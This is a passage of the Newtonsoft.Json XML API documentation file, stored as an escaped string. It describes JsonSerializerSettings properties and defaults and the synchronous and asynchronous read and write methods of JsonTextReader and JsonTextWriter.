cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>The reference resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolverProvider\">\n            <summary>\n            Gets or sets a function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>A function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Error\">\n            <summary>\n            Gets or sets the error handler called during serialization and deserialization.\n            </summary>\n            <value>The error handler called during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializerSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to JSON text data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBooleanAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytesAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Byte\"/>[]. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffsetAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimalAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDoubleAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32Async(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsStringAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.String\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.#ctor(System.IO.TextReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextReader\"/> class with the specified <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the JSON data to read.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.PropertyNameTable\">\n            <summary>\n            Gets or sets the reader's property name table.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.ArrayPool\">\n            <summary>\n            Gets or sets the reader's character buffer pool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>\n            The current line number or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>\n            The current line position or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.FlushAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiterAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the JSON value delimiter.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.CloseAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of the current JSON object or array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes indent characters.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpaceAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an indent space.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRawAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNullAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a null value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyNameAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyNameAsync(System.String,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructorAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefinedAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an undefined value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteWhitespaceAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member 